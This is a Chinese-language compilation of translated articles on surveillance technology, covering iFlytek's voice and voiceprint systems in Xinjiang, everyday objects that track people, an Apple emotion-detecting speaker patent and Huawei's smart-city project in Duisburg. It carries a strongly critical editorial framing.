就像任何在与人类语音交互上训练出来的技术一样，Input 在一开始也是不精确的。“该产品的第一个版本，用户体验并不是那么好，”负责监督该应用技术开发的科技大学科学家 Jun Du 说。但随着实际用户与应用的交互数据开始大量涌入，Input 在语音转文字方面的准确度得到了大幅提升。

恰好，在即将到来的成熟语音界面技术的冲击中，**Siri** 和 **Input** 是相对较早开始的先行产品。先是微软的 **Cortana**，然后是亚马逊的 **Alexa**，然后是谷歌助手。当 iFlytek 在2012年推出第一代虚拟助手 Yudian时，该公司很快就将其大部分AI火力训练在另一个挑战上：提供实时翻译，帮助用户与其他方言和语言的使用者交流。

后来版本的 Input 允许人们翻译面对面的对话，并获得23种中国方言和4种外国语言的手机闭合式字幕。如果结合中国庞大的人口，对翻译的重视让该公司收集到了海量的数据。

美国人可能会轻点 Alexa 或谷歌助手来提出具体要求，而在中国，人们经常使用 Input 来浏览整个对话。“**iFlytek Input**” 的数据隐私协议允许它为所谓的 “国家安全和国防安全” 收集和使用个人信息，而无需用户同意。”

杜说，“在中国，我们与用户签订一些合同，我们就可以使用他们的数据。” 在中国，语音数据可能会泄露。例如，数据经纪人 Data Tang 在其网站上描述了具体的数据集，其中包括一个包含近10万个3到5岁儿童的语音样本。

2017年，《麻省理工科技评论》将 iFlytek 评选为全球50家最智能公司，中国政府也在其精心挑选的国家 “人工智能团队” 中给了它一个令人羡慕的名额。当年入选的其他公司是平台巨头百度、阿里巴巴和腾讯。

不久之后，iFlytek 与麻省理工学院计算机科学与人工智能实验室（CSAIL）签署了为期五年的合作协议，该实验室是人工智能领域的领军实验室。该公司的翻译技术被西班牙足球俱乐部 RCD Espanyol 使用，并签署了一份独家协议，为2022年北京冬奥会提供自动翻译。

截至4月中旬，**iFlytek** 在深交所的估值为**108**亿美元，它声称拥有中国语音市场**70%**的份额，拥有**7**亿终端用户。同期，Nuance 的估值为53亿美元。在中国，该公司在语音计算领域的其他主要竞争对手主要是阿里巴巴和百度等平台。

在 Julian Chen 意识到计算机语音技术将彻底改变中国人与电脑的交互方式的二十年后，它在中国的影响确实是巨大的。根据2017年的数据，每天，微信用户都会发送约60亿条语音短信，这些随意的口语信息比一般的语音邮件更亲密、更即时。由于微信的信息以一分钟为上限，人们往往一发就是一长串，iFlytek 制造了一款能自动笔记商务会议的平板电脑，一款能即时生成抄写文本的数码录音机，还有一款安装在全国各地汽车上的语音助手。

消费者对 iFlytek 来说很重要，但其约 60% 的利润都来自公司2019年半年报中所说的 “涉及政府补贴的项目”。其中包括 “智能刑侦辅助系统”，以及上海市政府的大数据支持。这类项目带来的是大量数据的获取。

牛津大学人类未来研究所研究中国人工智能治理的学者 Jeffrey Ding 说：“这可能是法庭程序中记录的所有内容，呼叫中心数据以及大量安全信息”。iFlytek 的创始人兼首席执行官 Liu 是中国橡皮图章议会 —— 全国人民代表大会 —— 的代表。“他与政府的关系非常好”，杜说。

「图」

「图」

去年秋天，我测试了一个最新款的 Translator，这是由 iFlytek 生产的即时翻译设备，和一个我叫他 Al Cheng 的人。**Translator** 是一款采用高通公司 **Snapdragon** 芯片的设备，可以离线使用，对世界主要

语言都可用。

程和他的妻子住在中国南方一个拥挤的城市，但每隔一年他们就会去中西部探亲。为了锻炼身体，他们每天早上都要步行半英里去商场。但喜欢用普通话、粤语和客家话来阐述艺术和文化的程不会说英语。在美国的很多时候，他都不高兴地保持着沉默。他正是那种需要 Translator 这类东西的人。

有一天早上，我在商场中央庭见到了程，他在一辆古董雪佛兰皮卡附近，皮卡上放着干草和鲜花。(“是菊花”，程赞许地指出。）当我告诉他 Translator 的价格(约400美元)时，他持怀疑态度。

“太贵了”，他摇摇头说。但当我们在 Caribou Coffee 外面坐下来把玩它时，他的怀疑态度已经让位于钦佩。

我们把这个设备和他手机上的百度翻译应用放在一起比较，轮流说各种语言的短语，尝试翻译。在普通话中，Translator 听懂了程的口音 “mingnisuda” 是明尼苏达。它也听懂了我的名字，尽管程的发音是 “Mala”。

当我说英语的时候，两个翻译工具都能处理好 “I’m feeling blue” 这个比喻，但只有 Translator 明白，“I got up on the wrong side of the bed” 这句话是在描述我的心情，而不是起床。

最神奇的时刻来了，程朗诵了八世纪诗人张九龄的一副对联。百度翻译无厘头地把这句话翻译成 “At sea, the moon and the moon are at this time”。而 Translator 提供了一个准确的、真正有诗意的翻译：

As the bright moon shines over the sea; / From far away you share this moment with me.

当程改用广东话时，结果更加复杂了。（Translator 将 “英语” 理解成了 “养鸡场”。）但设备支持广东话的事实使他印象深刻。

iFlytek 的翻译使命远不止帮助旅行者、商务人士和城市精英。它还帮了少数民族和农村地区的人们很大的忙，因为那里很多人不会说普通话，它还在不断改进对方言的处理。

2017年，它推出了所谓的方言保护计划。当我第一次看到有关它的新闻报道时，我被这个奥妙的名字逗得哈哈大笑。中共花了几十年的时间，一个名词一个名词地攻击语言，一个动词一个动词地审查它认为危险的一切术语，破坏方言和少数民族语言，推广意识形态驱动的普

通话。中国文化评论家李陀将这种笨拙的措辞称为“毛语言”（Maospeak），指的是1984中的“新语”）。科技公司在攻击语言的过程中提供了帮助。

iFlytek 发言人在一封电子邮件中表示，该公司在方言方面的工作目标是“保护我们的交流方式”。iFlytek 对维吾尔语和藏语给予了特别关注，这些少数民族的语言一直被中国政府重点迫害。中国日报报道说，在方言保护计划的一次促销活动中，高管鼓励 iFlytek 的用户录制自己说母语的声音，以换取赢得 iPhone 的机会。

iFlytek 公司的园区位于合肥市中心之外，在一条街道上，两旁是普通的公寓楼，近半数的11000名员工在占地31亩的大院里工作。公司 11,000 名员工中，有近一半在这个占地31英亩的大院里工作。其余的员工分散在中国各地的办公室，还有一些在世界其他地方。

像硅谷的科技公司一样，iFlytek 为员工提供大巴车，提供食物和娱乐，并标榜自己的崇高使命。园区内随处可见的墙壁、商品、甚至蹲厕的档门上都有“用人工智能赋能世界“的标语。去年春天，当我来到那里时，迎接我的是一张习近平的照片。

「图」

「图」

iFlytek 在其网站上没有列出任何媒体联系人，而我是在花了几个小时拨打该公司的客户服务热线后才安排到这次访问的。几经周折后，一位代理帮我联系到了发言人，他接受了我的访问请求。另一位发言人后来回复了一份发给 Chartwell Strategy Group 的问题清单，**Chartwell Strategy Group** 是一家位于华盛顿的游说公司，**iFlytek** 聘请该公司管理其在美国的关系。

我一边啜饮着奶茶一边听主持人解释公司的消费级产品。她穿着一件宽松的衬衫，高跟鞋，戴着吊坠耳环 —— 这身打扮反映了 iFlytek 的审美，即 可爱、奇异甚至愚蠢。

其儿童伴侣机器人 Alpha Egg 的一个版本，有圆点和小天线，用卡通式的外星人声音说话。它为司机提供的虚拟助手“飞鱼 Flying Fish”在广告中被描绘成一条戴着潜水面具的可爱鲨鱼。

它向医院推销的协助病人问诊的机器人，看起来就像 C-3PO 和 EVE（动画片 WALL-E 中的机器）的爱子。（“也许比世界上任何一个

国家都要多”，帮助开发医疗助手的实验室科技大学人工智能研究中心主任陈小平说，中国人“真的很喜欢机器人”)。正如发言人所解释的那样，iFlytek 的产品都是为所谓的方便和有趣服务的。

在中国，趣味也是一种颠覆的手段，尤其是在语言方面。在2000年代初，由于网络审查员禁止某些字符，电脑用户通过改用同音字来绕过审查。为了嘲讽“和谐社会”的概念，这是胡锦涛执政期间流行的一句毛语，中国人拿甲壳类动物开玩笑 —— 河蟹，与和谐的发音相似。“为人民服务”变成了“为人民服雾”。两者都含有“wu”的字音。

中央政府对网络讽刺的泛滥感到震惊，甚至开始禁止同音字和其他文字游戏。于是，持不同政见者转而使用其他传播手段。

“活动家们在视频中看到了新的机会，因为用摄像机和手机录制、观看以及传播视频变得更容易、更便宜，”伦敦的西藏人权活动家 Dechen Pemba 说，他是“High Peaks Pure Earth”网站的编辑。但到了上世纪末，共产党已经开始寻求掌握语音技术 —— 这与 **iFlytek** 作为消费级语音公司的发展同步。

2009年，中国公安部部长孟建柱前往合肥，参观了 iFlytek 的总部。根据中央政府网站上发布的一份报告，他在那里谈到，“公安机关要与科技公司密切合作”，建立“防控体系”。随着中共在过去十年中加大了监控能力，安装了数百万个摄像头，推出了电子身份证和网上实名登记，并建设了科技驱动的所谓“智能”城市。人权观察称，**iFlytek** 的技术帮助政府将音频信号整合到这个数字监控网络中。

- 是谁帮助中国变成如此威胁的反乌托邦帝国？见 列表-4 “作恶者：谁在帮中国”

这家公司是中国政府一项名为“军民融合”的更广泛努力的象征，该努力旨在利用中国科技领域的进步为军事力量服务。简称：公私监控伙伴关系。在列表-2 中看到同名板块。

“iFlytek 为军民融合做出了相当积极的贡献”，华盛顿特区新美国安全中心研究员 Elsa Kania 说，她研究中国的人工智能。“该公司有追求消费者应用的元素，但面向公共安全、治安和国防的应用似乎也很重要。”

根据 Kania 去年向国会提交的证词，该公司曾向人民解放军推广其产品。她补充说，“不清楚消费级应用和其他面向国家的应用之间是否存在防火墙或类似的划分”。(通过 Chartwell Strategy Group 发言人

表示，iFlytek 并不开发军事技术，也不会对该公司的安全工作或通过 iFlytek 的消费产品收集的数据是否与其政府项目有防火墙进行评论。）

对中共来说，监控言论似乎不仅仅是审查。“语音和视频数据的收集有助于识别人、网络、人们如何说话、他们关心什么、以及倾向是什么”，堪培拉的澳大利亚战略政策研究所网络中心的分析师 Samantha Hoffman 说。

iFlytek 已经申请了一个系统的专利，该系统可以筛选大量的音频和视频，以识别被复制或转贴的文件 —— 该专利解释为 “在信息安全和监控舆情方面非常重要” 的部分操作。 iFlytek 回应称，”分析音频和视频数据可以有很多潜在的应用，包括识别流行歌曲、检测垃圾电话等。”

但 iFlytek 确实可以实现维稳工作。早在**2012**年公安部就从 **iFlytek** 购买了专注于智能语音技术的机器。公安部选择了安徽省（iFlytek 总部所在地）作为语音模式数据库的试点之一 —— 这是一个人们独特的语音的目录，可以让当局通过声音识别说话人。

- 《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》
- 《装本地人已经失败：亚马逊的口音识别技术可以告诉政府你的祖籍在哪》
- 《提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*》

该项目依托于 iFlytek 公司的一款名为 “取证智能音频工作室” 的产品，这是一款包括扬声器、麦克风和桌面的工作站。根据2016年当地政府的采购公告，该设备的售价约为**1700**美元，它可以根据声音的独特特征来识别人的身份。

2013年上传至网上的 iFlytek 白皮书将声纹或说话人识别宣传为 “唯一可以远程操作的生物识别方法”，并指出 “在国防领域，声纹识别技术可以检测电话对话中是否有目标说话人，然后追踪对话内容”。白皮书称，工作站可以采集一段音频，与200名发言者的声音进行对比，并在两秒内挑出说话的人。

其他国家也将声纹识别用于情报目的。根据斯诺登泄露的机密文件，国家安全局长期以来一直使用该工具监控目标人。联邦调查局也有一个专门研究该技术的部门。

- 斯诺登文件中文版《互联网霸主的时间线》

Nuance 曾经出售过一款名为 “Nuance Identifier” 的系统，据说该系统可以让执法部门 “在几秒钟内针对数百万个声音指纹进行搜索”。据报道，美国监狱管理局收集并存储囚犯的声纹，以便监控他们的电话通话。

- 在这里看到具体报道《强行收集声纹》

「图」

「图」

2017年，人权观察组织发表了一份报告，详细介绍了 iFlytek 的政府工作。该公司的工具是执政党 “建立数字极权国家” 计划的重要组成部分（该公司称这一指控 “毫无根据且荒谬”）。“iFlytek 的语音生物识别技术使 “追踪和识别个人成为可能”，人权观察说。在某些时候，保留汉语、方便交流的崇高努力与控制汉语的努力变得不可同日而语。

与许多美国科技公司一样，该公司坚持认为其技术 “与最终用途无关”。

- 技术从来不是什么“中立”的，技术本身就是政治，见《被流行语掩盖着的 *技术专制主义* 时代》

在对党的统治构成威胁的任何地区，iFlytek 的工作受到了特别的怀疑。其中一个重点是西藏地区，这是中国西部文化独特的地区，人们长期以来一直在为主权而战。

在拉萨，iFlytek 在西藏大学联合成立了一个实验室，专注于语音和信息技术。该公司表示，该实验室的目标是 “保护和更多地了解少数民族方言，帮助保护藏族文化”。该公司还制作了一款名为 “Dungkar “的藏文应用，意为 “海螺壳”，在藏传佛教中是一种吉祥的象征。

根据人权观察组织的说法，iFlytek 的技术似乎可以实现对新疆的监控，新疆是中国西北部一个以穆斯林维吾尔族为主的少数民族群体居住的地区。近年来，中国政府加强了对维吾尔族人的控制，将100多万人关押在拘留营，并将其他人驱赶到工厂作为强迫劳动。

- 《开源调查图解新疆”再教育”营》

居民被要求在手机上安装监视应用程序，在安检站提供生物识别数据，并在家中接待文化检查员。在官方材料中，这些检查员被称为“大姐姐和大哥哥”，甚至没有明显的讽刺意味。

喀什是丝绸之路上的古城，曾经是游客的主要目的地，现在至少有十几个拘留营，喀什的被打击力度可能最大。2016年，喀什警方与 iFlytek 子公司签订合同，采购了**25**台声纹终端。

根据采购协议，该技术将用于收集语音样本，用于生物识别档案，其中还包括照片、指纹和**DNA**样本。

- 《美国公司如何帮助中国借助 DNA 数据追踪公民》

根据该子公司的网站，他们帮助喀什大学整合了校园大数据，目的是确保其在“多民族”环境下“安全稳定运行”。

2016年5月，iFlytek 与在新疆运营监狱的机构签署了战略合作协议。目前尚不清楚 iFlytek 的技术在此背景下的具体应用情况，但在中国平台搜狐上的一篇文章称，iFlytek 的工作将“确保监狱的安全和稳定”。

去年夏天，一群美国学者在北京会见了 iFlytek 的一位领导层成员，并向他推销该公司在新疆的工作：“他将其描述为：‘我们通过提供这些语言能力，帮助政府更好地了解维吾尔族人’”，一位当时在场的安全分析师告诉我。

人权观察组织的 Wang 表示，iFlytek 构建的“既是良性的商业应用，也是监控应用，这恰恰是他们非常有问题的地方”。iFlytek 来自政府项目的数据很可能被用来改进其消费级产品，反之亦然。

“他们可以在大量数据样本上训练和完善他们的人工智能系统，这些样本不仅是通过他们的商业化应用收集的，也是通过他们的军事和警务应用收集的。”

每次旅客对着 Translator 说话时，他们的话都会反馈给一个算法黑匣子。总而言之，iFlytek 的技术有望极大地重塑中国和其他地区人们的生活，将个人的声音变成一个关键的身份标志。

「图」

「图」

近年来，**iFlytek** 进入了国际扩张阶段，与加拿大、新西兰和美国的大学建立了研究伙伴关系。在与麻省理工学院 CSAIL 达成协议之际，实验室主任 Daniela Rus 表示，双方的合作将专注于解决 “21世纪最大的挑战”，“找到更好地利用人类和人工智能的优势的方法”。

对这一合作关系的批评者称：iFlytek 给出了一笔未公开的资金，以换取MIT品牌的声望。

这一消息是在人权观察组织曝光 iFlytek 在新疆的工作8个月后宣布的，随着对拘留营的认识的传播，一些麻省理工学院的研究人员开始感到震惊。

CSAIL的研究生 Alan Lundgard 告诉我，他是在实验室开始工作后才得知自己的工作将得到 iFlytek 的资助。当他给CSAIL的一位管理员发邮件解释说，他在道德上反对接受该公司的资金时，该管理员回复说，他可以为自己的工作找到其他资金。他说，如果他不这样做，Lundgard 将不得不退还他已经收到的款项。

去年夏天，在媒体报道披露性犯罪者杰弗里·爱泼斯坦和沙特国家资助麻省理工学院的其他实验室后，学生和工作人员举行了一系列抗议活动，**CSAIL**与中国科技公司的协议也被推到了聚光灯下。

“对中国监控活动的担忧是非常真实的，” 麻省理工学院计算机语言学实验室主任 Roger Levy 说。“麻省理工学院需要非常认真地对待，当我们与另一个实体达成协议时，我们是在借给它一种信誉。”

10月，美国商务部将 iFlytek列入美国政府限制出口公司的实体名单。作为回应，刘庆峰在 iFlytek 的网站上用中文发布了一篇抗议短文，但这对消除人们对其与政府关系密切的看法并没有什么帮助。

“没有革命先烈的流血牺牲，就没有今天的现代中国”，他写道，“没有现代中国的繁荣与发展，就没有 iFlytek 在工业舞台上的亮相 …… 没有任何力量可以阻挡我们用人工智能建设美好世界的信心和步伐！”

第二天，美国国务卿迈克·蓬佩奥在演讲中提到了新疆的镇压问题。他说：“乔治·奥威尔的《一九八四》的书页正在那里栩栩如生”。

去年秋天，CSAIL 发言人在回答电子邮件问题时表示，iFlytek 被列入黑名单已经触发了麻省理工学院的审查，但在此期间 CSAIL 将继续保持合作关系。4月，在WIRED发出更多询问后，MIT宣布已于2月终止合作关系。校方不愿透露理由。至于 Lundgard 的资金问题，发言人

回应说：“研究所必须在开展研究的资金和研究人员的个人喜好之间取得平衡。”

中国的监控状态有时会涉及到学者 Jathan Sadowski 所说的 “Potemkin AI” —— 这种技术看似无所不能，实则不然。但从实际层面来看，技术是否如宣传的那样准确，差别不大。当人们有这样的印象 即 国家可以在几秒钟的时间内截获音频来定位他们时，他们就会开始自我审查。老大哥被内化了。

「图」

「图」

去年4月，我在访问上海时反思了这个问题。一天，我乘地铁来到位于城市西部的大型国家会展中心，iFlytek 是参展商之一，当我到达其展位时，大屏幕上正在播放一段视频。视频中，一个清秀的年轻人坐上了一辆红色轿车的驾驶座。“嗨，Peter！”一个声音说，连接到仪表板上的屏幕闪现出他的照片。Peter 面带微笑，仿佛他一生都在等待他的车能认出他来。

一位叫邢晓玲的销售人员带领我去了一个小车站，亲自为我试用汽车助手。我们戴上耳机。“飞鱼，你好！”她说，屏幕醒了。

“我想听一首歌”，邢说，一首流行音乐在我耳边响起。她向我展示了如何用简单的语音提示购买去北京的飞机票，这是用户连接支付宝或微信支付账户后可以使用的功能。邢还说，飞鱼随时都在准备着。（也就是说，任何时候都在听着你）

iFlytek 的虚拟助手经常被称为 “中国的Siri”，但邢认为这种比较对公司不利。“用Siri，你每次都要说 ‘嘿，Siri’，这很机械。” 在美国，像苹果这样的公司一直在努力狡辩说他们的设备没有一直在听。但在中国，这甚至是一个卖点。“你只需要唤醒它一次，它就一直醒着”，邢就这样评价飞鱼。

我用我的数码录音机录下了这段对话，并在她说话时做了笔记。当我回过头来看屏幕时，却发现我并不是唯一一个做了记录的人 —— 就在那里，在未来的智能交互式自动系统上，完整地记录了我们所有的话。〇

How a Chinese AI Giant Made Chatting—and Surveillance—Easy

原文

仙人掌间谍-永恒的在线 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么

在线监视完全不新鲜，现在的状况是，冰柜、自拍亭以及门铃、飞机上娱乐系统和广告牌，你身边的每一种看起来普普通通的东西都在跟踪监视你，这种情况下该如何选择”退出”？

「图」

「图」

上个月，新加坡航空公司使用他们的应用程序偷偷记录了消费者的手机屏幕。然后，旅行者发现该航空公司还在每把椅子背面的机载娱乐系统中嵌入了监视摄像头。记者随后发现，座椅靠背监控的蔓延并不仅限于新加坡：包括美联航和台达在内的其他航空公司也都在其座位上安装了摄像头。

越来越多的不只是消费者技术在暗中监视我们：而是我们身边的普通物体。飞机娱乐系统只是许多事情中的一个而已—— 部分归功于更便宜、更小的硬件—— 正在内置摄像头和麦克风。

虽然航空公司声称他们“从未使用过摄像头”，但总是可以打开这些摄像头。在一个隐私规则无限宽松的世界中，公司们倾向于尽可能深度地侵犯您的隐私，这就是监控经济本身的大方向。监视资本主义正在迅速从数字领域转向物理世界，目标是收集更多关于您的信息，以便他们可以通过这些信息获利。

我们中的许多人将看似无关紧要的物体，如 联网的恒温器和扬声器带入自己家厨房和卧室，却没有意识到他们可能会持续监视着我们（和我们的邻居），并向公司发送报告。

但是，在公共场合进行的越来越多的监视会使我们典型的、即使已经破裂的数据收集关系变得更加复杂化，公司和政府要求我们“同意“。

正如英国数字研究员 Lilian Edwards 在2015年的一篇论文中所写的那样，“虽然消费者在签订合同之前至少理论上有机会阅读 Nest 恒温器的隐私政策，但是，在现实中，他们在任何时候都没有这样的机会。他们的数据是被通过他们上班必行的智能道路或不得不乘坐的智能电车收集的，或当他步行路过智能垃圾箱时。“

以下是一个随机对象的样本，关于在公共场合一直在密切监视你的东西都是些什么：

道路标志、广告牌和街道——

你觉得自己在独自一人行走，可能不会有人看到你的一举一动，但是，肯定有人在看—— 特别是政府。

除了街道交叉点和全国各地建筑物侧面的闭路电视摄像机之外，还有更多的监视设备就隐藏在各种其他物体中，这些物体看起来就是城市的日常景观，完全没有任何异样。

你知道那些能告诉你驾驶速度有多快的数字路标吗？正如 Quartz 报道的那样，其中一些是嵌入了车牌阅读器的，作为十年前所谓的缉毒管理计划的一部分。

DEA 和 **ICE** 还秘密地将摄像机嵌入到普通的"街灯"和那些大号的"橙色交通桶"中。即使是路边的景色也不会安全。 **Ars Technica** 发现，亚利桑那州的一个城镇"在假仙人掌内安装"了数十个车牌阅读器！

警察巡逻车，路灯甚至私人车辆都可以看到更明显的车牌阅读器，执法者和他们的代理人使用这些车辆数据编制数十亿的车辆记录。隐私权倡导者警告说，该技术还可用于制作非犯罪嫌疑人的详细肖像，包括他们参加政治示威活动的详情。

人脸识别软件悄然与高清街道级闭路电视摄像机结合时，已经引发了类似的对大规模监控的警报，关于当权者在公共场合跟踪人们的能力。种族司法和民权团体特别担心这种监视的影响，认为面部识别会加剧现有的偏见，并对弱势群体社区造成不成比例的影响。

更隐蔽的监视跟踪形式涉及使用隐藏的 Stingrays 或 ISMI 捕手，旨在拦截所有附近的移动电话流量，以便跟踪他们想要的任何人。

虽然这些设备在几个州已被裁定为违宪，但是，它们可以被设计为无法检测到：它们可以像手机一样小，隐藏为手机信号塔的一部分，或者就放在警车内。它们的使用也越来越多地超越了执法部门：据报

道，许多神秘实体正在使用这些技术以拦截政府官员的电话，包括特朗普。

如果你在美国的某些州（并不是全美），检测到 **ISMI** 捕手，是可以起诉违宪的，检测方法在这里《"如何应付政府使用黄貂鱼对公民进行的大规模间谍行为"》；如果在中国，建议不要携带智能手机出门。

你需要警惕的不仅仅是执法部门或政府。当您在街上行走或路过广告牌时，广告商也会跟踪您。

现实世界中的广告变得越来越技术化了，集成了面部识别，位置数据，人工智能以及其他通常与您的手机相关的强大工具。在街头你没有选择退出的机会。广告牌变成了巨型监视器？详见《远离广告牌!!!》

一家大型广告牌公司 Clear Channel Outdoor America 提供跟踪人们旅行模式的服务，以便根据其位置识别看到某个广告牌的人的年龄和性别。该公司基本没有提供隐私保证。现实生活中的大多数广告都是在按照数字广告的方式跟踪你，这只是时间问题。

现代药店大多是低技术含量的地方，货架上摆满了各种各样的产品，人们开始配药。但是，Walgreens 正试图通过像科技公司在线跟踪客户一样在现实中跟踪你。怎么做的？

"通过在通道中安装数字屏幕覆盖的门、配备传感器"，可以检测您的性别、您的一般年龄范围、您正在查看的产品、您站在某个柜台前的时间，甚至您对特定产品的情绪反应。

然后，制作门的公司 Cooler Screens 可以使用这些信息为您提供有针对性的广告，这些广告会在您走过冰柜门前的时候时即时出现。

例如，一个男人可能会看到一个 Coke Zero 广告，而一个女人可能会看到健怡可乐的广告。据称，冰箱也可以为您提供独特的优惠。

Cooler Screens 首席执行官兼联合创始人 Arsen Avakian 告诉我，“你路过啤酒冰柜的门，[门]可能会注意到你正在购买六件装 Miller Coors。现在是下午4点，也就是说接近晚餐时间。于是那扇门可能为您提供这样的广告：如果您购买六包 Miller Coors 就可以特价购买 DiGiorno 比萨饼。“

该公司表示，除非您选择加入，否则它不会存储数据或将信息与客户资料相关联。但这是一个更大的问题，门的设计并没有表明他们正在

分析你的一举一动。选择退出的唯一方法是：从一开始就不要进入这家商店。

传感器和摄像机无处不在，从家到街道，再到药房，并且它们在娱乐场所也是非常普遍的。体育场馆通常会追踪球迷的行为，但过去一年来的一些音乐会也将这种监控提升到了全新的水平。

在中国，警方在音乐会前的安检中使用了面部识别技术，逮捕了前来观看张学友演唱会的逃犯。为了解决粉丝“太热情”的问题，Taylor Swift 的安全团队最近在她的巡回演出中安装了配备具有面部识别技术的监视摄像头。该技术来自一家名为 ISM Connect 的公司，该公司表示任何与确定的一组人员不匹配的面孔都会对 Swift “造成威胁”。

某些司法管辖区正试图要求企业在部署人脸识别时发布明确的警告。去年，纽约市议员提出了一项法案，该法案要求在使用面部识别时发布通知。伊利诺伊州、德克萨斯州和华盛顿州已禁止在未经知情同意的情况下收集生物识别数据。

人们会意识到自己在物理世界中放弃的隐私人权就像在线时一样容易吗？当冰柜和自拍亭以及门铃、飞机上娱乐系统和广告牌，都在跟踪你时，究竟该如何选择“退出”？

顺便说，从今年初开始，中国官方媒体就被下发了一个大型主题：**5G**，其中一个分支题目就是：让所有常规物品全部*在线*—**everything is watching everybody**。

欢迎来到2019年。〇

Even cacti have eyes: The random things surveilling our everyday lives. Your every move online is tracked. In the era of smart homes and smart cities, everyday objects are starting to keep tabs on you too. When freezers and selfie booths and doorbells and in-flight entertainment systems and billboards are all tracking you, how exactly do opt out?

原文

入侵大脑 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么

你家的所谓智能家居正在读取并操纵你的情绪，它能判断出你究竟是开心还是伤心，或者只是调侃，这是哪家巨头的黑科技？

随着网络扬声器市场的升温，以及谷歌和亚马逊、Harmon Kardon 和 Denon Heos 等高端品牌剥夺 Sonos 和 Apple 的市场份额，这家大型 iPhone 制造商已经开始研发新的 HomePod 扬声器，该产品据称可以钻进你的大脑，判断出你此刻的情绪是悲伤还是快乐，或者只是调侃。

使用 Siri 语音软件的最初 Apple HomePod 版是一个失败，苹果消费者将其描述为“过于昂贵”并且其功能与其他制造商提供的相比下有限。

现在苹果提出的新专利显示，这家大型 iPhone 公司正试图阻止其传统忠诚客户从 Apple 生态系统转向第三方产品。

虽然该专利未提及 Apple 的智能扬声器，但应用程序中有足够的提示将其识别为主要的 HomePod 升级。

观察家们确信第一个 HomePod 的“圆柱形”造型将继续存在。与第一个 HomePod 的不同之处是它可以显示包含文字的移动视觉信息的“发光二极管阵列。专利特别指出 LED 将位于侧壁，存在至少100个 LED 以显示视觉信息和文本，“包括歌曲标题”。

ChannelNews 了解到新设备还将识别挥手或拍手等手势。该专利说它可能包含“一个检测三维手势的传感器”。这将是光学接近传感器和电容式接近传感器。

目前尚不清楚这可能如何起作用，但这可能意味着你可以通过举起一个停止手势来结束音乐播放。

与 Amazon Alexa 和 Google Voice 一样，Apple正在设计新的 HomePod，以便能够打开电视，该专利指出它可以向电、加热和照明控制器发送指令。

它还将内置环境传感器来检测二氧化碳。

该专利还表明该设备具有面部识别功能，这意味着必须内置摄像头。Alexa 和谷歌都可以这样做。

并且，专利还透露了一款全新的表情符号，通过扬声器表面展示。

虽然未使用 HomePod 这个词，但 Apple 将新设备称为“设备10”。

该专利中给出的描述称新设备可以分析用户的语音（例如，当用户向设备10提供诸如数据库查询和/或其他命令的语音命令时），如果在捕获的语音信息中检测到声音中的压力，则设备10可以调整呈现给用户的内容。

例如，如果语音响度或压力模式指示用户有压力，则可以相应地调整设备10中的视觉输出图案的颜色和/或亮度（例如以反映升高的压力或试图通过营造平静的环境来应对压力）。

简单说它想要读并介入以控制你的情绪。

例如，如果在用户的语音中检测到悲伤，则该设备可以相应地改变（例如，改变为表示用户悲伤的悲伤表情符号、或者用于抵消检测到的悲伤的快乐表情符号）。还可以根据当前呈现给用户的内容的性质来改变，例如，如果用户向数字助理询问关于购买生日礼物的信息，则数字助理可以使用快乐的表情符号来呈现结果。

该过程被描述为潜台词识别。翻译一下就是入侵大脑。

关联：《👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里》

New Apple HomePod Set To Tell Whether You Are ‘Happy’ ‘Sad’ Or Just ‘Sarcastic’. The process is being described as subtext recognition.

原文

华为如何把德国城市变成圆形监狱 - iYouPort

作恶者：中国在帮谁无处不在，无处可逃-所谓的“智能”是什么

这个由IBM创建的、由谷歌推向全球的数字地狱，现在由华为渗透到了欧洲

「图」

「图」

德国的小工业城市杜伊斯堡即将进行重组和重建；或至少是它的管理方式。

杜伊斯堡将成为第一个所谓的 “智能城市” 试点，其基础设施、管理和部分其他功能将不由人类提供动力，而是由人工智能完成。

- 《"是谁把反乌托邦改造成 “智能城市”的？在其中的你被剥夺了哪些人权？"》

但是为了提高效率，杜伊斯堡和其他数十个城市开始实施并依靠被广泛谴责为侵犯人权的技术。

Al Bawaba 记录了中国科技公司如何获得与中国间谍机构合作的合同，以建立一个警察和监视之国，消灭任何异议和反抗。

这包括在西北省份新疆拘禁着超过一百万的穆斯林和其他少数族裔，并推出了一种被称为 “社会信用评分” 的大规模监视系统，对公民的服从程度进行排名，并对得分太低的人进行惩罚。

中国的 “社会信用评分” 就是超级少数派报告监视系统，但它不是中国的专属，而是全球很多国家的热门追求：

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《中国推出”超级监控摄像机”辅助社会信用评分》

- 《“社会信用”监视：英国、中国、美国和日本》

现在，这些利维坦基础设施的要素正在走向全球，其中一些已进入欧洲。

杜伊斯堡的 “智能城市改造”

「图」

「图」

Duisburg Mayor Sören Link(Left) and Wang Yonggang, CFO of Huawei‘s Enterprise Business Group(Right) (Huawei)

2018年初，德国杜伊斯堡市与中国电信巨头华为合作，将杜伊斯堡重塑为所谓的 “智能城市”；这一理念被华为倡导为治理的未来。

“双方都同意通过实施新的信息和通信技术（ICT）在几年内使杜伊斯堡成为西欧的创新和数字化样板城市，”有关此事的新闻稿说。

杜伊斯堡和华为于去年6月6日同意开始实施 “Rhine Cloud”，这为将来的发展奠定了基础。

Rhine Cloud 是统一的 “智能城市” 和公共服务云平台的另一种名称，它将原本分散的城市维护和治理形式统一到一个单一的数据库中。也就是高度集中化。

介绍称，它将首先使用新的 “旨在将室内环境数字化的技术，并用于电子政务、旅游、设施管理、零售等智能城市用例”。

华为西欧区总裁 Vincent Pang 说：“华为致力于与市政府合作，使现代城市变得更聪明、更易于居住。

但是，如果杜伊斯堡的新系统随着时间的流逝而发展成为现在的可销售产品，则必须借助某个地方进行发展。

那个 “地方” 就是中国，华为一直以 “智能城市” 治理的名义深入参与建立一个渗透性监视国家 —— 这个由**IBM**创建的、由谷歌推向全球的数字地狱，现在由华为渗透到了欧洲。

「图」

「图」

完善“智能城市”

为了优化和组织中国在新疆地区的监视国家，部分程度上它依赖于华为。

去年5月初，华为开始在新疆首府乌鲁木齐市建立“智能安全产业”创新实验室。

该实验室的目的是成为一个情报中心，在该中心中，可以为所谓的“智能城市”组织和分析从监视工作中收集的所有数据。

